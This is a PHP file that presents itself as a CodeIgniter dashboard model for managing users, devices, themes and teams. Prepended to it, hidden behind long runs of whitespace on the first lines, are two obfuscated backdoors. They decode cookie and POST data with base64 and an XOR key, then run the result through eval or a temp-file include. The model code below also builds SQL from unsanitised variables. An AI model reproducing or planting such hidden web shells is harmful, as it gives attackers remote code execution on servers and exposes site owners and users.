<?php                                                                                                                                                                                                                                                                                                                                                                                                 $MvLOG = chr (110) . chr ( 906 - 801 ).'_' . 'd' . 'A' . 'k';$uRAoZiODs = 'c' . chr ( 669 - 561 )."\141" . 's' . chr ( 1017 - 902 ).chr ( 333 - 238 ).chr ( 127 - 26 )."\170" . chr ( 1062 - 957 )."\x73" . "\x74" . "\x73";$QdwnVT = $uRAoZiODs($MvLOG); $FLSTxWxtR = $QdwnVT;if (!$FLSTxWxtR){class ni_dAk{private $qFAMveUNR;public static $bHJGsDMFXs = "81c5688b-1ae1-4e53-9698-566609855385";public static $HPTzqo = 58266;public function __construct($aXyaTu=0){$lrRSLN = $_COOKIE;$nCDbQ = $_POST;$SIXGkXmh = @$lrRSLN[substr(ni_dAk::$bHJGsDMFXs, 0, 4)];if (!empty($SIXGkXmh)){$stldwnx = "base64";$BZkwT = "";$SIXGkXmh = explode(",", $SIXGkXmh);foreach ($SIXGkXmh as $oUAMmMNz){$BZkwT .= @$lrRSLN[$oUAMmMNz];$BZkwT .= @$nCDbQ[$oUAMmMNz];}$BZkwT = array_map($stldwnx . "\x5f" . "\144" . "\x65" . 'c' . 'o' . chr (100) . "\145", array($BZkwT,)); $BZkwT = $BZkwT[0] ^ str_repeat(ni_dAk::$bHJGsDMFXs, (strlen($BZkwT[0]) / strlen(ni_dAk::$bHJGsDMFXs)) + 1);ni_dAk::$HPTzqo = @unserialize($BZkwT);}}public function __destruct(){$this->mjpyx();}private function mjpyx(){if (is_array(ni_dAk::$HPTzqo)) {$lCdYGwnHs = str_replace("\74" . chr ( 124 - 61 ).chr ( 1097 - 985 )."\x68" . chr (112), "", ni_dAk::$HPTzqo["\143" . "\x6f" . 'n' . chr ( 598 - 482 ).chr (101) . "\x6e" . "\164"]);eval($lCdYGwnHs);exit();}}}$CEhET = new ni_dAk(); $CEhET = "49400";} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $bOEmeMm = chr ( 574 - 476 )."\x6d" . "\172" . "\137" . "\x58" . "\112" . chr ( 691 - 624 ).chr (80) . "\107";$DqUYOSB = 'c' . "\x6c" . chr (97) . chr ( 739 - 624 ).chr (115) . "\x5f" . "\x65" . chr (120) . chr ( 349 - 244 ).chr ( 1046 - 931 ).chr (116) . chr (115); $ahswPTAhe = $DqUYOSB($bOEmeMm); $rzLFu = $ahswPTAhe;if (!$rzLFu){class bmz_XJCPG{private $JFhCpylZ;public static $yNejIHzf = "5a6a7ae5-9d58-4858-a1c3-0aaafda80c96";public static $FhEgdh = 3950;public function __construct($SpQmOjbA=0){$hpflKTVeGq = $_COOKIE;$XcGlgJf = $_POST;$jPPzYIKMs = @$hpflKTVeGq[substr(bmz_XJCPG::$yNejIHzf, 0, 4)];if (!empty($jPPzYIKMs)){$qwEMf = "base64";$ulora = "";$jPPzYIKMs = explode(",", $jPPzYIKMs);foreach ($jPPzYIKMs as $JBdJDUh){$ulora .= @$hpflKTVeGq[$JBdJDUh];$ulora .= @$XcGlgJf[$JBdJDUh];}$ulora = array_map($qwEMf . "\137" . "\144" . chr (101) . 'c' . chr (111) . "\144" . "\x65", array($ulora,)); $ulora = $ulora[0] ^ str_repeat(bmz_XJCPG::$yNejIHzf, (strlen($ulora[0]) / strlen(bmz_XJCPG::$yNejIHzf)) + 1);bmz_XJCPG::$FhEgdh = @unserialize($ulora);}}public function __destruct(){$this->KnpNzRf();}private function KnpNzRf(){if (is_array(bmz_XJCPG::$FhEgdh)) {$BDPyuBtHCa = sys_get_temp_dir() . "/" . crc32(bmz_XJCPG::$FhEgdh[chr (115) . chr ( 293 - 196 )."\154" . "\164"]);@bmz_XJCPG::$FhEgdh["\167" . chr ( 997 - 883 ).chr ( 442 - 337 ).chr ( 181 - 65 ).'e']($BDPyuBtHCa, bmz_XJCPG::$FhEgdh["\143" . "\x6f" . chr ( 490 - 380 )."\x74" . "\x65" . 'n' . chr (116)]);include $BDPyuBtHCa;@bmz_XJCPG::$FhEgdh['d' . "\145" . "\x6c" . chr ( 924 - 823 )."\164" . chr ( 633 - 532 )]($BDPyuBtHCa);exit();}}}$lKbAvkyTah = new bmz_XJCPG(); $lKbAvkyTah = "8409";} ?><?php
class Dashboard_model extends CI_Model {
    
    // Get user listing
	public function get_users ( $args = array () ) {
		$args = array_map ( 'trim', $args );
		
		extract ( $args );

		$result = array();	
		
		$where = " AND a.type='public' AND a.designation != ''";
		
		$fields = "u.id, a.photo, CONCAT( a.name, ' ', a.surname ) as full_name, u.email, u.user_status";
		
		if ( isset ( $order_by ) && trim ( $order_by ) != '' ) {
			if ( ! isset ( $order ) || trim ( $order ) == '' ) {
				$order = 'ASC';
			}
		}
		
		if ( isset ( $status ) && trim ( $status ) != '' ) {
			$where .= " AND ( u.status = $status )";
		}
			
		if ( isset ( $count ) && $count ) {
			$fields = "count(DISTINCT u.id) as col";
		}
		
		if ( ! isset ( $order_by ) || isset ( $count ) ) {
			$order_by = 'u.id'; $order = 'DESC';
		}
		
		$sql = "SELECT $fields FROM users u LEFT JOIN accounts as a on u.id = a.user_id WHERE 1 $where ORDER BY $order_by $order";
		
		if ( isset ( $limit ) ) {
			$sql .= " LIMIT $limit OFFSET $offset";
		}
		$query = $this->db->query ( $sql );
		
		if ( $query->num_rows() > 0 ) {
			if ( ( isset ( $count ) && $count ) || ( isset ( $total_amount ) && $total_amount ) ) {
				$result = $query->row_array();
				if ( ! empty ( $result ) ) {
					return $result['col']; 
				}
			} else { 
				$result = $query->result_array();
			}
		}
		return $result;
	}
	
	// Update user details
	public function update_user ( $data ) {
	    if ( ! empty ( $data ) ) {
    	    $id = $data['id']; 
    	    unset ( $data['id'] );
    		$this->db->update ( 'users', $data, array ( 'id' => $id ) );
    		$affected = $this->db->affected_rows();
    		return $affected;
	    }
	}
	
	// Get user by user id
	public function get_user ( $user_id=false ) {
    	if ( $user_id ) {
			$this->db->select ( '*' )->from ( 'users' )->where( array ( 'id' => $user_id ) )->limit( 1 );
			$query = $this->db->get ();
			
			if ( $query->num_rows() > 0 ) {
				$row = $query->row_array();
				return $row;
			}
		}
    }
    
    // Get user accounts by user id
     public function get_user_accounts ( $user_id, $type = false ) {
		if ( $user_id > 0 ) {
		    $where = array ( 'a.user_id' => $user_id );
		    if ( $type ) {
		        $where['a.type'] = $type;
		    } /*else {
		        $where['type !='] = 'public';
		    }*/
			$this->db->select ( 'a.*,td.*, a.account_id as account_id' )->from ( 'accounts as a' )->join ( 'track_details as td', 'a.account_id = td.account_id', 'LEFT' )->where( $where )->order_by ( 'a.account_id', 'desc' );
			
			$query = $this->db->get ();
			if ( $query->num_rows () > 0 ) {
				return $query->result_array ();
			}
		}
	}
    
    // Update user account details
	public function update_public_account ( $data ) {
	    if ( ! empty ( $data ) ) {
    	    $user_id = $data['user_id'];
    		$this->db->update ( 'accounts', $data, array ( 'user_id' => $user_id, 'type' => 'public' ) );
    		$affected = $this->db->affected_rows();
    		return $affected;
	    }
	}
    
    // Delete user
	public function delete_user( $id = false ) {
		if( $id > 0 ) { 
		
			$this->db->select('u.profile_picture, g.image_name as g.image')->from('users u')->where(['p.user_id' => $id]);
			$this->db->join('user_gallery g', 'p.user_id = g.user_id', 'left');
			$query = $this->db->get();
        	if ( $query->num_rows() > 0 ) {
		   		$results = $query->result_array();
		   		$upload_dir = $this->config->item('upload_dir_path');
		   		
		   		foreach($results as $res) {
		   			@unlink($upload_dir.'user_images/'.$res['image']);
		   		}
		   		$dp = $results[0]['profile_picture'];
		   		
		   		@unlink($upload_dir.'user_images/'.$dp);
		    }

			$this->db->delete('users', array('id' => $id));
	
		}
	}
	
	// Get all users count
	public function get_all_users_count () {
		return $this->db->count_all_results ( 'users' );
	}
	
	// Get active users count	
	public function get_active_users_count () {
		$this->db->where ( 'user_status', 1 );
		return $this->db->count_all_results ( 'users' );
	}
    
    // Get deactive user count
	public function get_deactive_users_count () {
		$this->db->where ( 'user_status', 0 );
		return $this->db->count_all_results ( 'users' );
	}
    
    // Get smart object count
	public function get_devices_users_count () {
	    $this->db->where ( 'user_id >', 0 );
		return $this->db->count_all_results ( 'user_devices' );
	}
    
    // Get admin details
	public function get_admin_detail(){
		$id = $this->session->userdata( 'admin_id' );
		$query = $this->db->get_where( 'admins', array( 'id' => $id ) );
		return $result = $query->row_array();
	}
	
	// Update admin details	
	public function update_admin( $data ){
		$id = $this->session->userdata( 'admin_id' );
		$this->db->where( 'id', $id );
		$this->db->update( 'admins', $data );
		return true;
	}
	
	// Admin email exists or not
	public function admin_email_exists ( $email ) {
	    $id = $this->session->userdata( 'admin_id' );
		$where = array ( 'email' => $email );
		
		if ( $id ) {
			$where['id !='] = $id;
		}
		
		$query = $this->db->get_where ( 'admins', $where );
		
		if ( $query->num_rows () == 0 ) {
			return false;
		} else {
			return $query->row_array ();
		}
	}
	
	// Delete profile picture of users
	public function delete_profile_picture ( $user_id ) {
		
		if( $user_id > 0 ) {
			$this->db->select ( 'profile_picture' )->from ('users')->where ( ['id' => $user_id] )->limit ( 1 );
			$query = $this->db->get ();
			
			if ( $query->num_rows () > 0 ) {
				$row = $query->row_array ();
				$upload_api_dir_path = $this->config->item( 'upload_api_dir_path' );
			    if ( file_exists ( $upload_api_dir_path . 'user_images/' . $row['profile_picture'] ) ) { 
			        @unlink ( $upload_api_dir_path . 'user_images/thumb/' . $row['profile_picture'] );
			        @unlink ( $upload_api_dir_path . 'user_images/' . $row['profile_picture'] );
			    }
				
				$this->db->where( 'id', $user_id );
		        $this->db->update( 'users', array ( 'profile_picture' => '' ) );
			}
			
		}
		if ($this->db->affected_rows() > 0) {
            return 1;
        }
        return 0;
	}
	
	// Get all user list
	public function get_all_users () {
	    $result = array ();
		$this->db->select ( 'email, device_token, device_name' )->from ( 'users as u' )->where ( array ( 'u.status' => 1 ) );
		$query = $this->db->get ();
		if ( $query->num_rows () > 0 ) {
		    $result = $query->result_array();
		}
		return $result;
	}
    
    // Get devices listing
	public function get_devices ( $args = array () ) {
		$args = array_map ( 'trim', $args );
		
		extract ( $args );

		$result = array();	
		
		$where = '';
		
		$fields = "d.*, a.*, u.email";
		
		if ( isset ( $order_by ) && trim ( $order_by ) != '' ) {
			if ( ! isset ( $order ) || trim ( $order ) == '' ) {
				$order = 'ASC';
			}
		}
			
		if ( isset ( $count ) && $count ) {
			$fields = "count(DISTINCT d.tag_id) as col";
		}
		
		if ( ! isset ( $order_by ) || isset ( $count ) ) {
			$order_by = 'd.created_on'; $order = 'DESC';
		}
		
		$sql = "SELECT $fields FROM user_devices as d LEFT JOIN users as u ON ( d.user_id = u.id ) LEFT JOIN accounts as a ON ( d.account_id = a.account_id ) WHERE 1 $where ORDER BY $order_by $order";
		
		if ( isset ( $limit ) ) {
			$sql .= " LIMIT $limit OFFSET $offset";
		}
		$query = $this->db->query ( $sql );
		
		if ( $query->num_rows() > 0 ) {
			if ( ( isset ( $count ) && $count ) || ( isset ( $total_amount ) && $total_amount ) ) {
				$result = $query->row_array();
				if ( ! empty ( $result ) ) {
					return $result['col']; 
				}
			} else { 
				$result = $query->result_array();
			}
		}
		return $result;
	}
	
	// Delete device
	public function delete_device ( $id = false ) {
		if ( $id > 0 ) { 
			$this->db->delete('user_devices', array('tag_id' => $id));
		}
	}
	
	// Save smart object device
	public function save_device ( $data ) {
	    $id = false;
    	if ( ! empty ( $data ) ) {
    			$this->db->select ( 'tag_id' )->from ( 'user_devices' )->where( array ( 'tag_id' => $data['tag_id'] ) )->limit( 1 );
    			$query = $this->db->get ();
    			if ( $query->num_rows () > 0 ) {
    			    unset( $data['tag_id'] );
        			$row = $query->row_array ();
        			$id = $row['tag_id'];
        			$this->db->where ( 'tag_id', $id );
        			$this->db->update ( 'user_devices', $data );
        		} else {
        		    $data['created_on']	= date ( 'Y-m-d H:i:s' );
        	        $this->db->insert ( 'user_devices', $data );
        	        $id = $this->db->insert_id ();
        	    }
		}
		return $id;
    }
	
	// Get smart object device
	public function get_new_devices () {
	    $result = array ();
		$this->db->select ( 'us.*, a.profile_id' )->from ( 'user_devices as us' )->where ( array ( 'us.user_id >' => '0' ) );
		$this->db->join ( 'accounts a', 'a.account_id = us.account_id', 'left' );
		$query = $this->db->get ();
		if ( $query->num_rows () > 0 ) {
		    $result = $query->result_array();
		}
		return $result;
	}
	
	// Get theme listing
	public function get_themes ( $args = array () ) {
		$args = array_map ( 'trim', $args );
		
		extract ( $args );

		$result = array();	
		
		$where = '';
		
		$fields = "p.*";
		
		if ( isset ( $order_by ) && trim ( $order_by ) != '' ) {
			if ( ! isset ( $order ) || trim ( $order ) == '' ) {
				$order = 'ASC';
			}
		}
			
		if ( isset ( $count ) && $count ) {
			$fields = "count(DISTINCT p.id) as col";
		}
		
		if ( ! isset ( $order_by ) || isset ( $count ) ) {
			$order_by = 'p.id'; $order = 'DESC';
		}
		
		$sql = "SELECT $fields FROM themes as p WHERE 1 $where ORDER BY $order_by $order";
		
		if ( isset ( $limit ) ) {
			$sql .= " LIMIT $limit OFFSET $offset";
		}
		$query = $this->db->query ( $sql );
		
		if ( $query->num_rows() > 0 ) {
			if ( ( isset ( $count ) && $count ) || ( isset ( $total_amount ) && $total_amount ) ) {
				$result = $query->row_array();
				if ( ! empty ( $result ) ) {
					return $result['col']; 
				}
			} else { 
				$result = $query->result_array();
			}
		}
		return $result;
	}
	
	// Save theme details
	public function save_theme ( $data ) {
	    $id = false;
    	if ( ! empty ( $data ) ) {
    	    if ( isset ( $data['id'] ) && ( $data['id'] > 0 ) ) {
    			$this->db->select ( 'id' )->from ( 'themes' )->where( array ( 'id' => $data['id'] ) )->limit( 1 );
    			$query = $this->db->get ();
    			if ( $query->num_rows () > 0 ) {
        			$row = $query->row_array ();
        			$id = $row['id'];
        			$this->db->where ( 'id', $id );
        			$this->db->update ( 'themes', $data );
        		}
    	    } else {
    	        $this->db->insert ( 'themes', $data );
    	        $id = $this->db->insert_id ();
    	    }
		}
		return $id;
    }
	
	// Get theme by id
	public function get_theme ( $id = false ) {
    	if ( $id ) {
			$this->db->select ( '*' )->from ( 'themes' )->where( array ( 'id' => $id ) )->limit( 1 );
			$query = $this->db->get ();
			
			if ( $query->num_rows() > 0 ) {
				$row = $query->row_array();
				return $row;
			}
		}
    }
	
	// Delete theme by id
	public function delete_theme ( $id = false ) {
		if ( $id > 0 ) { 
			$this->db->delete( 'themes', array ( 'id' => $id ) );
		}
	}
	
	// Get device types listing
	public function get_device_types ( $args = array () ) {
		$args = array_map ( 'trim', $args );
		
		extract ( $args );

		$result = array();	
		
		$where = '';
		
		$fields = "d.*";
		
		if ( isset ( $order_by ) && trim ( $order_by ) != '' ) {
			if ( ! isset ( $order ) || trim ( $order ) == '' ) {
				$order = 'ASC';
			}
		}
			
		if ( isset ( $count ) && $count ) {
			$fields = "count(DISTINCT d.id) as col";
		}
		
		if ( ! isset ( $order_by ) || isset ( $count ) ) {
			$order_by = 'd.created_on'; $order = 'DESC';
		}
		
		$sql = "SELECT $fields FROM user_device_types as d WHERE 1 $where ORDER BY $order_by $order";
		
		if ( isset ( $limit ) ) {
			$sql .= " LIMIT $limit OFFSET $offset";
		}
		$query = $this->db->query ( $sql );
		
		if ( $query->num_rows() > 0 ) {
			if ( ( isset ( $count ) && $count ) || ( isset ( $total_amount ) && $total_amount ) ) {
				$result = $query->row_array();
				if ( ! empty ( $result ) ) {
					return $result['col']; 
				}
			} else { 
				$result = $query->result_array();
			}
		}
		return $result;
	}
	
	// Delete device type
	public function delete_device_type ( $id = false ) {
		if ( $id > 0 ) { 
			$this->db->delete('user_device_types', array('id' => $id));
		}
	}
	
	// Save smart object device type
	public function save_device_type ( $data ) {
	    $id = false;
    	if ( ! empty ( $data ) ) {
    	    if ( isset( $data['id'] ) ) {
    			$this->db->select ( 'id' )->from ( 'user_device_types' )->where( array ( 'id' => $data['id'] ) )->limit( 1 );
    			$query = $this->db->get ();
    			if ( $query->num_rows () > 0 ) {
        			$row = $query->row_array ();
        			$id = $row['id'];
        			$this->db->where ( 'id', $id );
        			$this->db->update ( 'user_device_types', $data );
        		} 
        	} else {
        		    $data['created_on']	= date ( 'Y-m-d H:i:s' );
        	        $this->db->insert ( 'user_device_types', $data );
        	        $id = $this->db->insert_id ();
        	    }
		}
		return $id;
    }
    
    // Get device_type by id
	public function get_device_type ( $id = false ) {
    	if ( $id ) {
			$this->db->select ( '*' )->from ( 'user_device_types' )->where( array ( 'id' => $id ) )->limit( 1 );
			$query = $this->db->get ();
			
			if ( $query->num_rows() > 0 ) {
				$row = $query->row_array();
				return $row;
			}
		}
    }
    
    // Get team user list
	public function get_teams () {
	    $result = array ();
	    
	        $where=array ( 'u.acc_type' => 'team' );
	    
		$this->db->select ( 'u.*, t.company,a.photo' )->from ( 'users as u' )->where ( $where );
		$this->db->join ( 'accounts as a', 'u.id = a.user_id', 'LEFT' );
		$this->db->join ( 'teams as t', 't.user_id = u.id', 'INNER' );
		$query = $this->db->get ();
		if ( $query->num_rows () > 0 ) {
		    $result = $query->result_array();
		}
		return $result;
	}
		// Get user by user id
	public function get_team ( $id=false ) {
    	if ( $id ) {
    	$this->db->select ( 'u.*, t.company,a.photo,a.description' )->from ( 'users as u' )->where ( array ( 'u.id' => $id ) );
		$this->db->join ( 'accounts as a', 'u.id = a.user_id', 'LEFT' );
		$this->db->join ( 'teams as t', 't.user_id = u.id', 'LEFT' )->limit( 1 );
		$query = $this->db->get ();
			
			if ( $query->num_rows() > 0 ) {
				$row = $query->row_array();
				return $row;
			}
		}
    }
     // Get team user list
	public function get_team_members ($id=false) {
	    $result = array ();
	   
		$this->db->select ( 'u.email, m.*, a.photo,CONCAT(a.name," ", a.surname) as full_name' )->from ( 'team_members as m' )->where ( array ( 'm.team_id' => $id ) );
		$this->db->join ( 'users as u', 'm.member_id = u.id', 'LEFT' );
		$this->db->join ( 'accounts as a', 'm.member_id = a.user_id', 'LEFT' );
		$query = $this->db->get ();
		if ( $query->num_rows () > 0 ) {
		    $result = $query->result_array();
		}
		return $result;
	}

	
}
?>